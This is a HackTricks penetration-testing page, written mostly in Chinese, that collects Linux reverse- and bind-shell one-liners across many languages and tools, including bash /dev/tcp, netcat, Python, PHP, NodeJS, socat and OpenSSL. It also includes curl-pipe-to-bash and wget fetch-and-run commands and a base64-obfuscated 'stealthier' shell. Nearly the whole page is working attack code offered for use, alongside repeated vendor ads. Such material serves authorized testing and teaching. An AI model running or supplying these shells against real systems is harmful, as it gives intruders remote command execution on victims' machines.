hacktricks/generic-methodologies-and-resources/shells/linux.md

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# Shells - Linux
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<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
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</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
**如果您对任何这些shell有疑问可以使用** [**https://explainshell.com/**](https://explainshell.com) **进行检查。**
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## 完整TTY
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**一旦获得反向shell**[ **阅读此页面以获取完整TTY**](full-ttys.md)**。**
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## Bash | sh
```bash
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curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
#Short and bypass (credits to Dikline)
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(sh)0>/dev/tcp/10.10.10.10/9091
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#after getting the previous shell to get the output to execute
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exec >&0
```
### 符号安全的shell
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不要忘记检查其他shellsh、ash、bsh、csh、ksh、zsh、pdksh、tcsh和bash。
```bash
#If you need a more stable connection do:
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bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#Stealthier method
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#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
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#### Shell解释
1. **`bash -i`**: 此部分命令启动一个交互式 (`-i`) Bash shell。
2. **`>&`**: 此部分命令是将**标准输出** (`stdout`) 和**标准错误** (`stderr`) **重定向到同一目的地**的简写表示。
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: 这是一个特殊文件,**表示与指定IP地址和端口的TCP连接**。
* 通过**将输出和错误流重定向到此文件**该命令有效地将交互式shell会话的输出发送到攻击者的机器。
4. **`0>&1`**: 此部分命令**将标准输入 (`stdin`) 重定向到与标准输出 (`stdout`) 相同的目的地**。
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### 创建文件并执行
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```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
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wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
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```
## 正向 Shell
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如果在基于 Linux 的 Web 应用程序中遇到 **RCE 漏洞**,由于存在 Iptables 规则或其他过滤器,可能会出现 **难以获取反向 shell** 的情况。在这种情况下,考虑使用管道在受损系统内创建一个 PTY shell。
您可以在 [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell) 找到代码。
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您只需要修改:
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- 受漏洞主机的 URL
- 您的 payload 的前缀和后缀(如果有的话)
- 发送 payload 的方式(头部?数据?额外信息?)
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然后,您可以 **发送命令**,甚至使用 `upgrade` 命令** 来获取完整的 PTY请注意管道的读写存在大约 1.3 秒的延迟)。
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## Netcat
```bash
nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## gsocket
在[https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)中查看
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
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## Telnet
TelnetTelecommunication Network是一种用于远程登录的协议。 Telnet客户端通过TCP连接到Telnet服务器并允许用户在服务器上执行命令。 Telnet是一种不安全的协议因为它在未加密的文本中传输数据因此不建议在不受信任的网络上使用。
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
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## Whois
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**攻击者**
```bash
while true; do nc -l <port>; done
```
将命令写下来按回车然后按CTRL+D停止STDIN
**受害者**
```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```
## Python
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## Python
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
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python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```
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## Perl
## Perl
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
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## Ruby
## Ruby
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
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## PHP
PHP是一种流行的服务器端脚本语言通常用于Web开发。
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
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// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
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<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
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```
## Java
Java是一种通用编程语言广泛用于开发各种类型的应用程序。 Java程序可以在不同的操作系统上运行只需安装Java虚拟机JVM。 Java具有强大的面向对象编程功能使开发人员能够编写可重用的代码和模块化的程序。 Java还具有丰富的标准库提供了许多预先编写好的类和方法可用于各种常见任务。
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
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```
## Ncat
Ncat是一个功能强大的网络工具可以用于连接、读取和写入数据以及进行端口扫描和监听。
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```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
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```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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找到最重要的漏洞这样你就可以更快地修复它们。Intruder跟踪您的攻击面运行积极的威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks)。
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{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
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***
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## Golang
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
Lua是一种轻量级、高效的脚本语言常用于嵌入式系统和游戏开发中。 Lua脚本可以通过解释器执行也可以编译成字节码运行。 Lua具有简洁的语法和强大的扩展能力被广泛应用于各种领域。
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
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## NodeJS
NodeJS是一个基于Chrome V8引擎的JavaScript运行环境。
```javascript
(function(){
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var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
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require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
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// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
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## OpenSSL
攻击者Kali
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
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受害者
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
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## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### 绑定 shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
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### 反向 shell
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
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## Awk
## Awk
```bash
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awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
## Finger
**攻击者**
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```bash
while true; do nc -l 79; done
```
将命令写下来按回车然后按CTRL+D停止STDIN
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**受害者**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
## Gawk
### Gawk
Gawk是一个功能强大的文本处理工具也是一个强大的编程语言。它在Linux系统中非常常见可以用于处理文本数据、生成报告等。
```bash
#!/usr/bin/gawk -f
BEGIN {
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Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
```
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## Xterm
这将尝试连接到您系统的6001端口
```bash
xterm -display 10.0.0.1:1
```
要捕获反向 shell您可以使用将在端口 6001 上监听):
```bash
# Authorize host
xhost +targetip
# Listen
Xnest :1
```
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## Groovy
由[frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意Java反向shell也适用于Groovy
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
## 参考资料
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞这样您就可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>